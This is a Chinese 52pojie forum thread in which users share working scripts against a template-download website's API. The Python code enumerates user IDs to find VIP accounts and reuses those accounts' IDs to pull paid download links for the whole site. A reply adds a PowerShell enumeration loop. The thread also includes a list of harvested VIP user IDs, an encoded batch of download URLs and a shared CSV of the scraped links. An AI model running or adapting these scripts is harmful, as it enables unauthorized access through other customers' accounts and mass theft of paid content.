吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 16087|回复: 106
收起左侧

[Python 原创] xx之家vip 扒光整站资源

    [复制链接]
odmin 发表于 2022-11-29 16:15
本帖最后由 odmin 于 2022-11-30 13:21 编辑

根据:https://www.52pojie.cn/thread-1720537-1-1.html

解析全站VIP zip 包地址
[Python] 纯文本查看 复制代码
def down_url(id):
    # 构造 http://down.主域名.com:8020/cssthemes6/skk-0610-19.zip 的地址即可下载
    url = f"{BaseURL}/cssthemes/{id}.shtml"
    resp = requests.get(url, headers)
    html = etree.HTML(resp.text)
    a = html.xpath('//*[@id="main"]/div[1]/div[2]/div[1]/div[3]/div[1]/div[2]/div[4]/a[1]/@data-url')[0]
    data_url = a.split("/")[-2]
    d_url = f"http://down.主域名.com:8020/cssthemes6/{data_url}.zip"       # 修改处
    s = '%s,%s\n' % (id, d_url)
    print(s)     # 控制台输出url


def one_page(id):
    url = f"{BaseURL}/cssthemes/index_{id}.shtml"
    resp = requests.get(url, headers)
    html = etree.HTML(resp.text)
    a = html.xpath('//*[@id="main"]/div[1]/div/article/div/ul/li/a/@href')

    for i in a:
        d_url = i.split("/")[-1].split(".")[0]

        down_url(d_url)



if __name__ == '__main__':
    for i in range(1, 689):
        one_page(i)




2022-11-30 更新用户取 vip id程序



[Python] 纯文本查看 复制代码
def userinfo(id):
    """
    取openid 
    :return:
    """
    url = 'http://vip.xxx.com/apishenji/userinfo'   # aHR0cDovL3ZpcC5jc3Ntb2Jhbi5jb20vYXBpc2hlbmppL3VzZXJpbmZv

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
        "Referer": "http://www.xxx.com/"    # 替换成地址
    }

    data = {
        "openid": id,
        "phone": "",
        "id": id,
    }
    try:
        resp = requests.post(url=url, headers=headers, data=data).json()['myvip']
        print(resp)

    except:
        pass


if __name__ == '__main__':
    # for id in range(102898, 747312):
    for id in range(2022113000000000000, 2022113008175495000):           # 年月日时分秒毫微.....[color=rgb(169, 183, 198)][backcolor=rgb(43, 43, 43)][font="][size=9.8pt]datetime.datetime.now().strftime([/size][/font][/backcolor][/color][color=rgb(106, 135, 89)][font="][size=9.8pt]'%Y%m%d%H%M%S%f'[/size][/font][/color][color=rgb(169, 183, 198)][backcolor=rgb(43, 43, 43)][font="][size=9.8pt])[/size][/font][/backcolor][/color]
        # 取用户信息
        userinfo(id)



分析:https://www.52pojie.cn/thread-1719966-1-1.html

ID:
[Asm] 纯文本查看 复制代码
100042
100058
100081
100125
100134
100155
100197
100228
100249
100277
100334
100381
100433
100483
100517
100561
100592
100657
100717
100778
100780
100783
100804
100898
100967
100984
101003
101051
101094
101097
101164
101167
101193
101214
101256
101286
101304
101323
101324
101336
101350
101381
101387
101401
101506
101509
101529
101542
101587
101595
101647
101726
101728
101747
101753
101801
101831
101892
101897
101905
101909
101951
101958
101963
102031
102069
102154
102159
102179
102189
102195
102208
102295
102359
102368
102386
102410
102454
102456
102487
102498
102511
102526
102565
102583
102629
102638
102678
102735
102775
102793
102811
103955
103984
103995
104012
104048
104063
104071
104078
104113
104135
104195
104256
104313
104360
104365
104508
104520
104523
104540
104550
104566
104632
104655
104665
104682
104697
104759
104807
104818
104881
104910
104917
104942
104963
104974
104984
105022
105067
105096
105099
105121
105123
105126
105134
105261
105329
105333
105347
105730
105735
105739
105843
105848
105919
105937
105998
106031
106053
106054
106208
106270
106280
106285
106324
106330
106380
106519
106538
106578
106694
106711
106849
106999
107037
107086
107187
107228
107259
107264
107270
107276
107355
107399
107431
107438
107439
107509
107536
107579
107597
107606
107626
107638
107686
107695
107717
107726
107751
107863
107904
107916
107928
107968
107969
108003
108073
108088
108121
108133
108155
108196
108266
108322
108356
108357
108364
108372
108375
108425
108455
108482
108497
108507
108529
108566
108822
108824
108834
108928
108936
109008
109025
109106
109122
109196
109207
109274
109348
109349
109381
109388
109412
109447
109455
109469
109531
109606
109649
109703
109803
109866
109870
109876
110076
110164
110200
110283
110286
110289
110293
110296
110317
110366
110377
110422
110426
110454
110465
110475
110477
110548
110576
110581
110634
110698
110713
110721
110726
110728
110736
110746
110748
110768
110781
110931
111009
111042
111074
111127
111140
111158
111162
111167
111208
111264
111273
111281
111290
111301
111364
111381
111419
111468
111479
111526
111661
111702
111786
111842
111847
111857
111867
111876
111877
111903
111949
111978
111982
111985
112080
112188
112196
112208
112217
112238
112254
112256
112312
112367
112373
112399
112441
112498
112522
112529
112665
112673
112784
112809
112811
112822
112849
112864
112926
112928
112940
112945
112953
112999
113032
113047
113072
113141
113167
113274
113305
113323
113330
113345
113360
113396
113434
113482
113514
113523
113528
113574
113608
113619
113625
113639
113642
113653
113684
113700
113721
113740
113756
113764
113812
113841
113861
113901
113910
113982
114036
114048
114075
114090
114117
114201
114281
114338
114376
114397
114406
114452
114509
114518



[Python] 纯文本查看 复制代码
import requests
from lxml import etree


BaseURL = 'http://www.xxxxxx.com'        #自己改一下
headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
        "Referer": BaseURL
    }


def save_data(s):
    with open("模板下载地址.csv", mode="a", encoding="utf-8") as f:
        f.write(s)


def download_url(li):
    url = 'http://vip.xxxxx.com/apishenji/down'                        # J2h0dHA6Ly92aXAuY3NzbW9iYW4uY29tL2FwaXNoZW5qaS9kb3duJw==
    data = {
        "userid": "100000",                # VIP id  {"code":-4,"msg":"下载次数限制"}  根据code 替换id ,自己脑补 
        "mobanid": li,
        "screkey": "undefined",
    }
    resp = requests.post(url=url, headers=headers, data=data)
    resp = resp.json()['data']
    if resp != "":
        s = '%s,%s\n' % (li, resp)
        save_data(s)
    else:
        print(li)



def one_page(id):
    url = f"{BaseURL}/cssthemes/index_{id}.shtml"
    resp = requests.get(url, headers)

    html = etree.HTML(resp.text)
    a = html.xpath('//*[@id="main"]/div[1]/div/article/div/ul/li/a/@href')

    for i in a:
        d_url = i.split("/")[-1].split(".")[0]
        download_url(27766)



if __name__ == '__main__':
    for i in range(1, 689):
        one_page(i)
       


只是测试了一下,不要干坏事,不要干坏事,不要干坏事!下面是几个模板下载的包

[Asm] 纯文本查看 复制代码
Mjc3ODksaHR0cDovL2Rvd24ubXh5aG4ueHl6OjgwMjAvY3NzdGhlbWVzNi9tb2JhbjU3NjYuemlwCjI3Nzg4LGh0dHA6Ly9kb3duLm14eWhuLnh5ejo4MDIwL2Nzc3RoZW1lczYvb3lxai0wOTI0LTIyLnppcAoyNzc4NyxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0yMC56aXAKMjc3ODYsaHR0cDovL2Rvd24ubXh5aG4ueHl6OjgwMjAvY3NzdGhlbWVzNi9veXFqLTA5MjQtMTkuemlwCjI3Nzg1LGh0dHA6Ly9kb3duLm14eWhuLnh5ejo4MDIwL2Nzc3RoZW1lczYvb3lxai0wOTI0LTE4LnppcAoyNzc4NCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0yMS56aXAKMjc3ODMsaHR0cDovL2Rvd24ubXh5aG4ueHl6OjgwMjAvY3NzdGhlbWVzNi9veXFqLTA5MjQtMTcuemlwCjI3NzgyLGh0dHA6Ly9kb3duLm14eWhuLnh5ejo4MDIwL2Nzc3RoZW1lczYvb3lxai0wOTI0LTE2LnppcAoyNzc4MSxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0xNS56aXAKMjc3ODAsaHR0cDovL2Rvd24ubXh5aG4ueHl6OjgwMjAvY3NzdGhlbWVzNi9veXFqLTA5MjQtMTQuemlwCjI3Nzc5LGh0dHA6Ly9kb3duLm14eWhuLnh5ejo4MDIwL2Nzc3RoZW1lczYvb3lxai0wOTI0LTEzLnppcAoyNzc3OCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0xMi56aXAKMjc3NzcsaHR0cDovL2Rvd24ubXh5aG4ueHl6OjgwMjAvY3NzdGhlbWVzNi9veXFqLTA5MjQtMTEuemlwCjI3Nzc2LGh0dHA6Ly9kb3duLm14eWhuLnh5ejo4MDIwL2Nzc3RoZW1lczYvb3lxai0wOTI0LTEwLnppcAoyNzc3NSxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC05LnppcAoyNzc3NCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC04LnppcAoyNzc3MyxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC03LnppcAoyNzc3MixodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC02LnppcAoyNzc3MSxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC01LnppcAoyNzc3MCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC00LnppcAoyNzc2OSxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0zLnppcAoyNzc2OCxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0yLnppcAoyNzc2NyxodHRwOi8vZG93bi5teHlobi54eXo6ODAyMC9jc3N0aGVtZXM2L295cWotMDkyNC0xLnppcA==



VIP账号每天也是有下载次数的限制的!有用的加个热心吧!



点评

http://www.cssmoban.com/cssthemes/27033.shtml 这个怎么下载?  发表于 2022-12-4 05:08

免费评分

参与人数 16吾爱币 +13 热心值 +13 收起 理由
鸠山一茶 + 1 + 1 热心回复!
ihdfakfm + 1 + 1 我很赞同!
ɑdministrator + 1 + 1 谢谢@Thanks!
WSYJJ + 1 + 1 谢谢@Thanks!
ws001980 + 1 + 1 谢谢@Thanks!
zhixiangwangluo + 1 谢谢@Thanks!
klii + 1 + 1 感谢楼主思路学到了
xddxz + 1 谢谢@Thanks!
受伤的辉狼 + 1 + 1 热心回复!
he先生 + 1 谢谢@Thanks!
TavsRV + 1 谢谢@Thanks!
huskysir13 + 1 + 1 谢谢@Thanks!
nicen2 + 1 + 1 直接获取下载地址好用
HuaLiang + 1 彳亍
zz08808 + 1 + 1 热心回复!
jian19950220 + 1 模板之家

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

chinapython 发表于 2022-12-2 09:57
别费心啦~ 拿走不谢~  
下载任务如下:

微信图片_20221202093916.png


csv 如下:

mb之家_下载任务.7z (501.71 KB, 下载次数: 696)

免费评分

参与人数 7吾爱币 +6 热心值 +5 收起 理由
w3812247 + 1 + 1 热心回复!
tgdq5 + 1 谢谢@Thanks!
wuweide + 1 + 1 谢谢@Thanks!
niceketty + 1 谢谢@Thanks!
superXII + 1 + 1 谢谢@Thanks!
萧筱小 + 1 + 1 好东西,已经拿下,盘下放网盘了
wj1994 + 1 热心回复!

查看全部评分

平淡最真 发表于 2022-11-29 16:28
本帖最后由 平淡最真 于 2022-11-29 16:29 编辑

获取永久会员账号id,打开powershell执行  然后复制,全跑完太久了,可以改初始值100000。
建议别撸了,下载下来对一般人也没啥用

[PowerShell] 纯文本查看 复制代码
100000..777777|%{
        $a=(Invoke-WebRequest -Uri "http://vip.cssmoban.com/apishenji/userinfo" `
                -Method "POST" `
                -Headers @{
                "Pragma"="no-cache"
                  "Cache-Control"="no-cache"
                  "Accept"="application/json, text/javascript, */*; q=0.01"
                  "User-Agent"="Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
                  "Origin"="http://www.cssmoban.com"
                  "Referer"="http://www.cssmoban.com/statics/user/page/ke_test1.html"
                  "Accept-Encoding"="gzip, deflate"
                  "Accept-Language"="en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,ga;q=0.6,es;q=0.5,sq;q=0.4,ko;q=0.3,ja;q=0.2"
                } `
                -ContentType "application/x-www-form-urlencoded; charset=UTF-8" `
                -Body ("id={0}" -f $_))
        if((ConvertFrom-Json -InputObject $a).myvip.viptype -eq "vip.forever"){$_}
}
nicen2 发表于 2022-11-30 15:04
直接获取下载地址的想法好,已扒光

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
yongheng520 + 1 + 1 热心回复!

查看全部评分

头像被屏蔽
Huu 发表于 2022-11-30 10:44
提示: 作者被禁止或删除 内容自动屏蔽
xiaoshu1688 发表于 2022-11-29 17:11
andytang866 发表于 2022-11-29 16:39
什么之家啊,都是些什么资源

http://www.cssmoban.com/
waxxy 发表于 2022-11-29 16:37
不明觉厉,感谢分享!
andytang866 发表于 2022-11-29 16:39
什么之家啊,都是些什么资源
lsy832 发表于 2022-11-29 16:39
系统之家?
wapj22 发表于 2022-11-29 17:03
什么之家?
fengwolf3 发表于 2022-11-29 17:06
太优秀了,收下我的膝盖
momentL 发表于 2022-11-29 17:09
感谢分享,学习一下
longiana 发表于 2022-11-29 17:20
总结就是通过遍历用户接口获得用户信息,再用vip用户的ID请求下载接口,网站设计缺陷,早两个月也是用这思路把某SW APP的资源拔光了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 19:16

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表